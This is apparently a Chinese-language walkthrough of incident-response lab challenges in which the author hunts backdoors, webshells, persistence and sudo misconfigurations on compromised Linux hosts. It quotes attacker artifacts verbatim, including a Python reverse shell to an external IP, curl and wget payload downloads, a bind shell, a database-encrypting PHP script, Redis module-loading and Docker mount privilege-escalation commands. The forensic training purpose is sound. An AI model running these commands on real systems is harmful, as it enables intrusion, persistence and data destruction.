事先去搜了一下相关漏洞，找了一篇文章来看：一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

扫一下

访问8088端口

登录界面

抓包，去掉后面的{报错

{"@type":"java.lang.AutoCloseable"

被过滤了，用unicode编码

{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"

版本是1.2.47

flag{1.2.47}

内核版本作为 flag 提交 flag

清理内纯马（热清理）

清理后门（热清理）

参考：玄机-第八章内存马分析-java03-fastjson的测试报告_玄机内存马查杀-CSDN博客

玄机应急响应靶场 - 内存马分析WP | CN-SEC 中文网

第九章-blueteam 的小心思

总结：流量包分析；d盾扫描；后门用户；登录后门连接；数据库解密；命令提权

服务器场景操作系统 Linux
服务器账号密码 root qi5qaz

任务环境说明
    注：进去后执行  sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
    漏洞修复

攻击者通过什么密码成功登录了网站的后台？提交密码字符串的小写md5值，格式flag{md5}。

根目录有流量包，下载

协议分级选中http

既然是登录那么就是POST，过滤一下

http.request.method==POST

没几个，一个个试发现最后一个是

Aa12345^

flag{d63edb0e9df4cf411398e3658c0237e0}

攻击者在哪个PHP页面中成功上传了后门文件？例如upload.php页面，上传字符串"upload.php"的小写md5值，格式flag{md5}。

继续http追踪流，流15发现一句话木马

页面是pluginmgr.php

flag{b05c0be368ffa72e6cb2df7e1e1b27be}

找到攻击者上传的webshell文件，提交该文件的小写md5值，格式flag{md5}。

这个上传webshell文件就是在/var/www/html目录下面，我是直接打包用d盾扫描了

到对应目录下面计算md5值

md5sum cpg.php

flag{a097b773ced57bb7d51c6719fe8fe5f5}

攻击者后续又下载了一个可执行的后门程序，提交该文件的小写md5值，格式flag{md5}。

追踪流继续看，流21发现下载了一个is.world文件

提权

查看文件是可执行文件

到之前后门文件目录下面查看全部文件发现有一个目录

flag{ee279c39bf3dcb225093bdbafeb9a439}

攻击者创建了后门用户的名称是？例如attack恶意用户，上传字符串"attack"的小写md5值，格式flag{md5}。

查看用户就去/etc/shadow文件

knowledgegraphd:$1$salt$ULlt8/CYe0RiHAfUlB9YR1:19679:0:99999:7:::

这个并没有设置高权限但是是最后面的，一般就是黑客设置的后门用户

flag{4cda3461543c9a770a3349760594facd}

攻击者创建了一个持久化的配置项，导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值，格式flag{md5}。

常见位置包括：

/etc/profile：全局登录脚本（所有用户登录时执行）
/etc/bash.bashrc：全局非登录交互式Shell的初始化（但登录时可能被调用）
/etc/profile.d/目录：其中的脚本在登录时被/etc/profile调用
/etc/pam.d/login或相关PAM配置：可设置登录时执行命令
/etc/ssh/sshrc：SSH登录时执行（针对所有用户）
/etc/environment：设置环境变量（可能被利用来执行命令）

最典型的配置是修改/etc/profile或/etc/profile.d/中的脚本，因为它们在用户登录时会被执行。

/var/www/html/plugins/". "/is.world &

这行命令会在用户登录时执行（因为/etc/profile是全局登录脚本），触发后门连接

flag{65bf3e4a9ac90d75ec28be0317775618}

攻击者创建了一个持久化的配置项，导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值，格式flag{md5}。

主要查找位置：

/root/.bashrc

root用户的bash初始化文件
只在root用户启动交互式shell时执行

/root/.profile

root用户的登录配置文件
在root用户登录时执行

/root/.ssh/rc

root用户通过SSH登录时执行

/etc/security/opasswd (PAM相关)

但不太常见

/etc/sudoers.d/ 中的特殊配置

但通常用于权限控制而非执行命令

/etc/profile 中的条件判断

可能在/etc/profile中添加了UID判断：

if [ $(id -u) -eq 0 ]; then
   恶意命令
fi

有一行可疑

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &

这是一个Python反向Shell后门命令

python -c '...' &

-c：执行后面的Python代码
&：在后台运行（不阻塞当前shell）

导入模块

import socket,subprocess,os

socket：网络通信
subprocess：创建子进程
os：操作系统接口

建立socket连接

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("124.221.70.199",9919))

创建TCP socket（AF_INET=IPv4，SOCK_STREAM=TCP）
连接到攻击者的服务器：124.221.70.199:9919

重定向标准流

os.dup2(s.fileno(),0)  # 标准输入(0) → socket
os.dup2(s.fileno(),1)  # 标准输出(1) → socket  
os.dup2(s.fileno(),2)  # 标准错误(2) → socket

将所有输入输出重定向到网络连接

启动交互式shell

p=subprocess.call(["/bin/sh","-i"])

"/bin/sh","-i"：启动交互式shell
由于输入输出已重定向，shell的I/O都通过socket进行

flag{4acc9c465eeeb139c194893ec0a8bcbc}

攻击者加密了哪个数据库？提交数据库的文件夹名，例如user数据库对应存放位置为user文件夹，上传字符串"user"的小写md5值，格式flag{md5}。

数据库的登录信息一般是存放在config.inc.php文件中的，查找文件

find / -name config.inc.php

这里没截图了，在

/var/www/html/include/config.inc.php

账号密码是root/mysql123，这里看博客学到了用navicat连接数据库，先配置ssh，这里的主机就是靶机ip，用户名和密码就是靶机的用户名和密码

然后不点确定点到常规开始配置，连接名称随便写，主机localhost，端口3306，这里的用户名和密码就是数据库的用户名和密码

连上了

一个个打开看发现JPMorgan这个打不开，显示了这个

那么应该就是这个被加密了：JPMorgan@0020Chase

计算md5

flag{0928a5424aa6126e5923980ca103560e}

解密数据库，提交Harper用户对应Areer的值。提交Areer值的小写md5值，格式flag{md5}。

这个看博客一步步学的，原文：

提交Harper用户对应的Areer的值并且进行MD5加密，那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去，那我们就尝试查找一下黑客比文件“cpg.php“新，又比闻文件“Balance.frm”旧的所有文件

命令：

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

find /

-type f

-newer /var/www/html/plugins/cpg.php

查找修改时间晚于参考文件 cpg.php 的文件
cpg.php 是Webshell或被篡改的文件的时间基准点

! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

! 表示逻辑"非"
查找修改时间不晚于（即早于或等于）参考文件 Balance.frm 的文件
Balance.frm 可能是另一个时间基准点

很显眼的php文件，或者一个个排查也行

<?php
$currentDate = date("Y-m-d");
$key = md5($currentDate);
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
    if ($file != "." && $file != "..") {
        $fullPath = $filePath . '/' . $file;
        $content = file_get_contents($fullPath);
        $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
        file_put_contents($fullPath, $encryptedContent);
    }
}
?>

该脚本会加密/var/lib/mysql/JPMorgan@0020Chase/目录下的所有文件，使用基于当前日期的动态密钥。

生成加密密钥

$currentDate = date("Y-m-d");  // 获取当前日期，如"2023-12-07"
$key = md5($currentDate);      // 用MD5哈希日期作为密钥

每日变化的密钥：密钥基于当前日期，每天不同
密钥恢复：攻击者只需要知道日期就能解密

生成初始化向量(IV)

$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);

从固定字符串"DeepMountainsGD"的SHA256哈希中取前16字节作为IV
IV是固定的，这降低了加密安全性

$filePath = "/var/lib/mysql/JPMorgan@0020Chase";

加密MySQL数据库目录下的文件（注意：@0020是空格的URL编码）
这很可能是勒索软件的目标

遍历和加密文件

$files = scandir($filePath);
foreach ($files as $file) {
    if ($file != "." && $file != "..") {
        $fullPath = $filePath . '/' . $file;
        $content = file_get_contents($fullPath);  // 读取文件内容
        $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
        file_put_contents($fullPath, $encryptedContent);  // 写入加密内容
    }
}

博客的对应的解密脚本

<?php  
$currentDate = date("Y-m-d");  
$key = md5('2023-11-18');  
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);  
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";  
$files = scandir($filePath);  
foreach ($files as $file) {  
        if ($file != "." && $file != "..") {  
                    $fullPath = $filePath . '/' . $file;  
                        $encryptedContent = file_get_contents($fullPath);  
                        $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);  
                            file_put_contents($fullPath, $decryptedContent);  
                        }  
}  
?>

该脚本会解密/var/lib/mysql/JPMorgan@0020Chase/目录下的所有文件，使用指定的密钥和IV。

设置解密密钥

$currentDate = date("Y-m-d");  // 获取当前日期（但未使用）
$key = md5('2023-11-18');      // 使用固定日期"2023-11-18"的MD5作为密钥

重要：密钥硬编码为2023-11-18，这可能是文件被加密的具体日期。这里少了一点，这个日期是看之前的加密文件的属性得到的那天的日期的吗🤔

生成初始化向量(IV)

$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);

与加密脚本使用相同的固定IV
从"DeepMountainsGD"的SHA256哈希取前16字节

$filePath = "/var/lib/mysql/JPMorgan@0020Chase";

遍历和解密文件

$files = scandir($filePath);
foreach ($files as $file) {
    if ($file != "." && $file != "..") {
        $fullPath = $filePath . '/' . $file;
        $encryptedContent = file_get_contents($fullPath);  // 读取加密内容
        $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
        file_put_contents($fullPath, $decryptedContent);  // 写入解密内容
    }
}

在靶机用vim把解密代码写进去，执行

vim decode.php

php decode.php

然后重启一下mysql

sudo systemctl restart mysql

navicat里面刷新就能看到数据了

在表UserIdentity里面

flag{8fd82b8864d71ed7fa12b59e6e34cd1c}

因为什么文件中的漏洞配置，导致了攻击者成功执行命令并提权。提交该文件的小写md5值，格式flag{md5}。

这个在第三章权限维持-linux权限维持-隐藏里面有遇到过，就是SUID位

find / -perm -u=s -type f 2>/dev/null

发现了sudo，Sudo 是一个常见的提权工具，肯定会被滥用

博客原文：

/usr/bin/sudo：

使用广泛：Sudo 被广泛用于权限提升，如果配置中有漏洞，黑客可以利用 sudo 提权。
历史漏洞：Sudo 曾经存在一些被利用的漏洞，比如 CVE-2019-14287，可以绕过限制。
那我们进一步的分析一下“/etc/sudoers”

为什么会分析“/etc/sudoers”呢？

权限配置：了解哪些用户或用户组被授予了 sudo 权限。如果配置不当，可能允许普通用户以 root 权限运行命令，从而导致安全问题。
命令限制：查看是否有特定用户被允许执行特定的命令，而不需要输入密码。如果这些命令存在漏洞，可能被黑客利用来提权。
安全策略：确认是否启用了安全策略，例如 requiretty 选项（要求 sudo 命令只能从终端运行），或 NOPASSWD 选项（允许某些命令无需密码运行）。
日志记录：检查 sudoers 文件中是否有日志记录配置，方便追踪 sudo 命令的使用情况。
简而言之： /etc/sudoers 包含了系统上 sudo 的配置和权限设置。（之前不是分析出sudo可能有问题嘛）

cat /etc/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

其中包含了一个特权升级后门，关键后门配置：

www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service

用户：www-data

Web服务器（如Apache）的运行用户
通常权限较低，只能访问web目录

权限：ALL=(root)

可以在任何主机上以root身份执行命令

免密码：NOPASSWD:

执行sudo命令时不需要输入密码
这是最大的安全风险

命令：/bin/systemctl status apache2.service

表面上只是查看Apache服务状态
但这里隐藏着巨大的风险

虽然只是status命令，但systemctl status命令可以执行shell转义

所以完整路径是：/etc/sudoers

flag{6585817513b0ea96707ebb0d04d6aeff}

第九章-blueteam 的小心思2

ssh 端口 2222

nacos 的 key 为多少 flag

这个是没有给出ssh的账号密码的，需要自己扫描

nacos配置文件的 flag

File Management System的 flag

root 密码多少 flag

黑客留下的 backdoor 后门的绝对路径

修复 4000-6000 端口漏洞

修复File Management System漏洞

清理黑客留下的backdoor

第九章-blueteam 的小心思3

总结：日志分析；流量分析；redis的主从复制；计划任务

应急响应工程师小 c 被通知服务器有对外链接请求的痕迹，并且提供给了小 c 一段 waf 上截获的数据包，请你分析对应的虚拟机环境跟数据包，找到关键字符串并且尝试修复漏洞
账号:root 密码:root123 流量包在/result.pcap

1. 审计日志，攻击者下载恶意木马文件的 ip是多少 flag{ip}
2. 审计流量包，木马文件连接密码是什么? flag{xxx}
3. 审计流量包，攻击者反弹的IP和端口是什么? flag{ip:port}
4. 提交黑客上传恶意文件的 md5 md5sum xxx.so
5. 攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}

审计日志，攻击者下载恶意木马文件的 ip是多少 flag

连接靶机，砍日志，去/var/log，发现有apache，进去查看，有四个日志，第一个1看了没发现什么，其他三个都是gz压缩的，先解压缩

gunzip 文件名

文件内容有点多，我下载下来拿去notepad++查看了，搜搜关键文件名后缀，php

在最后发现了点东西

192.168.150.1 - - [21/Dec/2023:07:39:58 +0100] "GET /secret/evil.php?command=system(%27curl%20http://192.168.150.253:8080/shell.php%20-o%20/var/www/html/secret/.shell.php%27); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

192.168.150.1 - - [21/Dec/2023:07:39:58  0100] "GET /secret/evil.php?command=system('curl http://192.168.150.253:8080/shell.php -o /var/www/html/secret/.shell.php'); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

已经命令执行了

system('curl http://192.168.150.253:8080/shell.php -o /var/www/html/secret/.shell.php');

让服务器执行 curl 命令，从 192.168.150.253:8080 下载一个叫 shell.php 的木马，并保存为 /var/www/html/secret/.shell.php

其实在靶机的/var/www/html里面可以看到木马文件，所以确定ip就是192.168.150.253

flag{192.168.150.253}

审计流量包，木马文件连接密码是什么? flag

/目录下的流量包下载下来，协议分级选中http

shell.php，追踪流查看

连接密码是cmd

也可以直接去靶机里面看，到/var/www/html/secret目录，index.php文件

这个是把木马写进了shell.php里面，是个隐藏文件.shell.php

flag{cmd}

审计流量包，攻击者反弹的IP和端口是什么? flag

前面上传了木马文件之后后面就是蚁剑连接的加密流量了，一个个看来解密

没多少，一个个看就找到了

flag{192.168.150.199:4444}

提交黑客上传恶意文件的 md5 md5sum xxx.so

这个自己写的时候脑子突然想起来/目录有个so文件，然后想起之前的恶意文件一般都是so文件，而且题目也写了so，想着试一下结果真的是

后续去看了题解，这里是用到了redis的主从复制，流量包过滤tcp流量

有个关键字SLAVEOF

在 Redis 的世界里，SLAVEOF是一个关键命令：

语法：
```
SLAVEOF <masterip> <masterport>
```
作用：
让当前 Redis 实例变成某个目标 Redis 节点的从库，即建立 主从复制（Replication） 关系。

后续就CONFIG SET dbfilename module.so了

在 Redis 攻击链里，CONFIG SET dbfilename module.so 这一步就是关键的 落地写文件 操作

攻击者先执行：

CONFIG SET dbfilename module.so

这样一来，下一次 Redis 执行 保存操作（save / bgsave） 时，生成的文件名就不是 dump.rdb，而是 module.so。

然后攻击者利用主从复制，让目标 Redis 从攻击者的恶意 Redis 主库同步。

主库提供的 RDB 数据文件里，攻击者可以伪造 动态链接库代码（.so 文件）。

Redis 在保存 RDB 时，就会直接写出一个叫 module.so 的文件到磁盘。

接着攻击者可以用：

MODULE LOAD ./module.so

把这个恶意模块加载进 Redis 进程，达到 远程命令执行（RCE） 的目的。

flag{d41d8cd98f00b204e9800998ecf8427e}

攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag

看到权限维持就应该要想到计划任务，linux里面的关键字就是crontab，去流量包里面搜索关键字，tcp过滤

追踪流：

*/1 表示“每 1 分钟执行一次”。

/usr/bin/wget → 使用 wget 工具。

http://192.168.150.199:88/shell.php → 从远程 IP 192.168.150.199 的 88 端口下载 shell.php 文件。

-O /var/www/html/secret/.shell.php → 把下载的文件保存到本地目录 /var/www/html/secret/.shell.php。

flag{http://192.168.150.199:88/shell.php}

第九章-NOP Team dmz-A

总结：禅道版本号查看；/opt目录查看安装工具；禅道RCE；

第九章-NOP Team-A
靶机来源 NOP Team 鸣谢 NOP Team
可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ
账户 root  密码 nopteama
请启动禅道服务  /opt/zbox/zbox -ap 8081 && /opt/zbox/zbox start

1、请提交禅道的版本号，格式: flag

连接靶机，根目录有个流量包，先下载下来

查看禅道的版本可以到对应目录查看VERSION

cat /opt/zbox/app/zentao/VERSION

flag{18.0.beta1}

2、分析攻击者使用了什么工具对内网环境进行了信息收集，将该工具名称提交 flag

在第三章权限维持-linux权限维持-隐藏的第四问中有提过：

在Linux系统中，通常将 `/opt` 目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的，也不是通过系统包管理器（如apt、yum等）安装的

来到/opt目录，有个目录gj其实反应快的也知道这是工具的缩写

fscan，一个漏洞扫描利用工具

flag{fscan}

3、攻击者攻击服务器得到shell以后，是处于哪个用户下做的操作，将该用户名提交 flag

流量包分析，选中http，这里找了半天，后面看博客说有个漏洞：禅道项目管理系统RCE漏洞复现+利用_禅道漏洞-CSDN博客

直接过滤POST

只有三个，一个个看

SCM=Subversion&client=`id`

这里使用了反引号 id，企图执行 id 命令查看当前用户信息

{"result":"fail","message":{"client":"\u5ba2\u6237\u7aef\u9519\u8bef\uff01<br \/>\u6267\u884c\u547d\u4ee4\uff1a`id` --version --quiet 2>&1<br \/>\n\u9519\u8bef\u7ed3\u679c(127)\uff1a sh: 1: uid=65534(nobody): not found<br \/>\n"}}

uid=65534 是 Linux/Unix 系统中标准的 nobody 用户。

nobody 是一个权限非常低的系统用户，通常用于运行一些不需要权限的服务进程。

响应中的 sh: 1: ... not found 说明命令尝试执行了，但权限有限，命令执行失败（可能因为没有 /bin/id 或 /bin/sh 限制）

flag{nobody}

4、攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag

扫描，之前分析出来了工具是fscan，回到之前的工具目录下，有一个result.txt，是fscan扫描之后的结果

flag{admin:123456]}

参考：第九章-NOPTeamDmz-a-C - N1Rvana's Blog

第九章-NOP Team dmz-B

总结：历史命令查看

第九章-NOP Team dmz-B

可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ

通过dmz-A攻击者遗留下来的攻击结果，分析结果使用里面的用户名和密码可以对此环境进行登陆，自行保存id_rsa密钥文件
ssh -p 222 xxx@xxx.xxxx.xxx

1、攻击者通过DMZ-A登陆到DMZ-B机器里，在上面发现了DMZ-C机器里的一个密钥，通过某服务直接进行了登陆，请将服务名与登陆的用户名提交 <格式：flag{ftp:anonymous}>

靶机用户名密码就是上一个的最后一问：admin/123456

连接，admin用户，到/home/admin目录下查看历史命令：.bash_history

发现有ssh远程连接，用户名是deploy，ip是10.0.1.120

flag{ssh:deploy}

第九章-NOP Team dmz-C

总结：/opt目录查看；配置文件分析；权限查看

第九章-NOP Team dmz-C

可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ

可以通过dmz-B泄露的密钥将其保存到本地，然后进行登陆ssh
ssh -i xxx_xxx xxxx@xxxx.xxxx.xxxx

1、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里，然后攻击者上传了一个挖矿程序，请将该挖矿程序的名称提交，格式 <flag{xxxxxx}>

上一题：

下载id_rsa文件，我是用xterminal连接，选择密钥登录，用户是deploy，密钥就是这个下载的

现在差不多了解了一般这些不是系统自带的程序就来opt找，一进来就看到了xmrig

一个挖矿病毒

flag{xmrig}

2、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里，然后攻击者上传了一个挖矿程序，请将该挖矿的地址提交，格式 <flag{xxxxxx}>

上一问同一目录下还有挖矿病毒的配置文件，下载查看

找到了矿池域名

flag{xmrs1.pool.cn.com:55503}

3、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里，然后攻击者上传了一个挖矿程序，但由于DMZ-C机器是不出网的，所以攻击者通过了一种方式将流量转发了出去，请将转发的目标端口提交，格式 <flag{xxxxxx}>

也是/opt目录下面的一个client目录，里面有frpc工具，一个内网穿透工具

也是下载下来查看了，frpc_full.ini配置文件：

在[plugin_socks5]部分，配置了一个SOCKS5代理

1. SOCKS5 是什么？

SOCKS5 是一种网络代理协议。你可以把它想象成一个“流量中转站”或“信使”。

简单比喻：假设你（DMZ-C机器）想给一个国外的朋友（互联网上的挖矿服务器）寄信，但你的邮局（公司防火墙）规定不允许寄国际邮件。于是，你先把信交给一个本地的代理朋友（SOCKS5代理），这个代理朋友在海外有地址，他收到你的信后，会用自己的海外地址重新包装并寄给你的国外朋友。回信的过程也一样，国外朋友把回信寄给你的代理朋友，代理朋友再转交给你。对于邮局（防火墙）来说，它只看到你和本地代理朋友（内网中的另一台机器）在通信，并不知道最终的目的地是国外。
技术解释：
- SOCKS5 工作在会话层，它能代理几乎所有基于 TCP 或 UDP 的流量（如网页浏览、远程连接、游戏流量等）。
- 它不像 HTTP 代理那样只能处理网页流量，功能更通用。
- 客户端（这里是DMZ-C机器）只需要配置一个SOCKS5代理服务器的地址和端口，然后所有网络请求都会通过这个通道被转发出去。

2. 攻击者为什么要这么做？

原因正如下面这个流程图所展示的，核心是为了解决 “不出网” 的问题。

面临的困境：DMZ-C机器“不出网”，意味着它无法直接访问互联网。攻击者虽然上传了挖矿程序，但这个程序无法连接到外部的挖矿服务器（矿池）来接收任务和上报结果，相当于一个“瞎子”，无法工作。
已有的通道：攻击者之前已经通过FRP在DMZ-C（内网）和攻击者的公网服务器（FRPS）之间建立了一条可控的、出网的隧道。这条隧道本来是用于其他服务（如SSH）转发的，但FRP的强大之处在于它可以创建各种类型的代理。
利用FRP创建SOCKS5代理：攻击者不需要在DMZ-C上安装额外的代理软件（如SSH），而是直接利用FRP的 plugin 功能，在FRP配置文件中添加一个 [plugin_socks5] 的配置段。这个配置的作用是：
- 在FRPS服务器上（端口6005）监听：告诉FRPS：“请在你的6005端口上开启一个SOCKS5代理服务”。
- 流量走向：所有发往FRPS服务器6005端口的流量，都会通过之前建立好的FRP隧道，被反向转发到DMZ-C机器上的FRPC客户端。然后FRPC客户端再将流量转发给DMZ-C本机上的实际应用程序（挖矿程序）。
完成穿透：
- 攻击者配置挖矿程序，不再让它直接连接互联网，而是让它把所有的网络流量都发送到 127.0.0.1:1080（即本地回环地址的1080端口）。
- 为什么是1080？这是SOCKS代理的默认常用端口（就像Web用80一样）。攻击者会在DMZ-C机器上启动一个本地的SOCKS代理客户端（例如用一些轻量级工具），这个客户端会连接到127.0.0.1:1080，并将收到的流量通过FRP隧道传输到公网FRPS的6005端口，最终到达互联网。
- 这样，挖矿程序的流量就成功地“伪装”成了FRP的合法隧道流量，绕过了“不出网”的限制。

这里，SOCKS5代理监听在FRPS（FRP服务器）上的端口是6005。但是，攻击者需要将流量从不出网的DMZ-C机器转发出去，通常会在攻击者控制的机器上设置一个SOCKS代理服务器，然后让DMZ-C机器连接到这个代理

然而，在配置文件中，还有一个关键的HTTP代理配置：

这里注释中提到了一个SOCKS5代理的示例：socks5://user:passwd@192.168.1.128:1080，端口是1080。攻击者很可能使用这个端口来设置SOCKS5代理，从而将不出网的DMZ-C机器的流量转发出去

因此，攻击者通过SOCKS5代理将流量转发到端口1080

flag{1080}

4、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里，然后攻击者上传了一个挖矿程序，但由于DMZ-C机器是不出网的，所以攻击者通过了一种方式将流量转发了出去，请将用来做转发的工具的名称提交，格式 <flag{xxxxxx}>

显而易见了，上一题已经知道的

flag{frpc}

5、攻击者最后通过某配置文件配置错误，从而直接可以拥有root用户权限，请将错误配置的那一行等于号后面的内容(不含空格)提交，格式 <flag{xxxxxxx}>

sudo -l

这个命令会显示当前用户可以被允许以sudo方式运行的命令
如果输出中包含 (ALL) NOPASSWD: ALL 这样的内容，就意味着当前用户可以在不输入密码的情况下执行任何root命令，这相当于直接拥有了root权限

User deploy may run the following commands on ip-10-0-10-3: (ALL : ALL) NOPASSWD: ALL

这一行的意思是：用户 deploy 可以在该主机上无需密码（NOPASSWD）地以任何用户（第一个ALL）的身份运行任何命令（第二个ALL）

这就是一个典型的、极其危险的sudo配置错误，攻击者利用它可以直接获得root权限（例如通过执行 sudo su 或 sudo bash）

完整的配置规则是：
deploy ALL=(ALL : ALL) NOPASSWD: ALL

deploy：用户名
ALL=(ALL : ALL) NOPASSWD: ALL：这就是等于号后面的全部内容。

flag{(ALL : ALL) NOPASSWD: ALL}

Linux后门应急

SSH连接：ssh user@ip -p 222
账号密码：user/Atmbctfer!

1、主机后门用户名称：提交格式如：flag

直接看/etc/passwd文件：

flag{backdoor}

2、主机排查项中可以发现到flag{}内以i开头的flag，如flag

题目提示了主机排查项，运行：

ps -ef

查看进程

flag{infoFl4g}

3、主机排查发现9999端口是通过哪个配置文件如何开机启动的，如/etc/crontab则填写/etc/crontab 的md5 ，提交方式示例：flag

linux的开机自启动文件路径一般配置在

/etc/rc.d/rc.local或/etc/rc.local中

或者是在/etc/init.d 目录下添加自启动脚本

flag{cf8a978fe83579e2e20ec158524d8c06}

4、黑客3s做了记录所有用户的每次登陆的密码的手段，flag为黑客记录的登陆密码日志路径md5,提交方式示例：flag

/usr/lib/x86_64-linux-gnu/security 目录存放的是 PAM (Pluggable Authentication Modules) 的可插入认证模块

PAM 是 Linux 系统中用于身份验证的模块化框架，它允许系统管理员自定义和配置各种认证方式

cd /usr/lib/x86_64-linux-gnu/security

会发现有三个日志明显不同于其他文件的，可以传到本地拿去ida分析

分析pam_unix.so文件，alt+t搜索字符串password

双击进去

v14 = fopen("/tmp/.sshlog", "a");           // 以追加模式打开日志文件
__fprintf_chk(v14, 1LL, "%s :%s \n", name, p[0]);  // 记录"用户名:密码"
fclose(v14);

密码窃取：将所有用户的登录密码记录到 /tmp/.sshlog 文件中

这个log就是日志了

flag{8997d5a1b8dcca5a4be75962250959f7}

5、给出使用了/bin/bash 的RCE后门进程名称+端口号如进程名称为sshd，端口号为22，则flag

后门进程，故逐一排查systemctl启动配置文件存放位置

/etc/systemd/system
/usr/lib/systemd/system
/lib/systemd/system

cd /etc/systemd/system

有一个docker，其实看博客的时候也在想为什么要定位这个文件（可能就是一个个排查吧），查看之后发现有

ExecStart="/bin/bash /usr/lib/python3.7/site-packages/docker/startup.sh

shell调用，这个sh文件很可疑，查看，解码

import socket, subprocess

# Create socket object
s = socket.socket()
s.bind(('', 8080))
s.listen(1)

# Continuously accept connections
while True:
    conn, addr = s.accept()
    try:
        # Launch bash shell connected to this socket
        subprocess.call(['/bin/bash'], stdin=conn, stdout=conn, stderr=conn)
    finally:
        # Ensure the connection is closed after use
        conn.close()

python反向监听后门，端口是8080，查看网络状态：

netstat -tunlp

-t：显示 TCP 连接
-u：显示 UDP 连接
-n：以数字形式显示地址和端口（不解析域名）
-l：仅显示监听状态的套接字
-p：显示进程ID和程序名称

flag{python38080}

6、找出开机启动的后门服务名称MD5，提交flag

上一题找到的docker-compose-app.service文件就是

flag{5213e47de16522f1dc3f9e9ecc0ab8b0}

7、渗透提权获得root目录下的flag

使用docker挂载目录提权

docker run --name shell -v /:/n0o0b -it nginx:1  bash

docker run：创建并运行新容器
--name shell：给容器命名为 "shell"（看起来无害）
-v /:/n0o0b：关键攻击点 - 将宿主机根目录 / 挂载到容器的 /n0o0b 目录
-it：交互模式 + 伪终端
nginx:1：使用官方 nginx 镜像作为掩护
bash：在容器内启动 bash shell

就是容器n0o0b里面有主机的整个/目录，并且在里面查看的内容和主机的完全一致，也可以修改

flag{ATMB_root}

8、黑客3s埋了一个flag在权限维持过程中的地方，可以发现flag{}括号内的首字母是c开头，如flag

在第四问中，黑客记录了所有用户登录时的密码，这个就算是权限维持了，然后我们找到了pam_unix.so文件，分析之后得到/tmp/.sshlog记录的文件，所以可以尝试去找在pam_unix.so文件欸修改之后的文件，也就是2024.9.24之后看哪些文件被修改了：

find / -type f -newermt '2024-09-24 01:30:00' ! -newermt '2024-09-24 23:31:00' 2>/dev/null|grep -v docker | xargs grep
 "flag{c"

查找在 2024-09-24 01:30:00 到 23:31:00 之间修改过的文件

cat -A /n0o0b/var/spool/cron/crontabs/root

cat加上参数A，用于显示文件中的所有字符，包括不可见的特殊字符

flag{cr0nt4b_IRfind}

9、黑客3s做了一个root用户执行cat命令就删除文件的操作，请发现删除了什么文件将文件名作为flag提交

strace -f -e trace=file /bin/cat

用于跟踪 cat 命令执行过程中的文件操作

strace

系统调用跟踪工具，用于监视程序与操作系统内核的交互

-f

跟踪子进程（follow forks）
如果 cat 命令创建了子进程，也会跟踪这些子进程

-e trace=file

只跟踪与文件相关的系统调用
过滤其他类型的系统调用，只显示文件操作

/bin/cat

要跟踪的目标程序
这里按理说应该会有家目录下面的so文件

openat(AT_FDCMD, "/home/user/Nomal.so", O_RDONLY|O_CLOEXEC) = 3

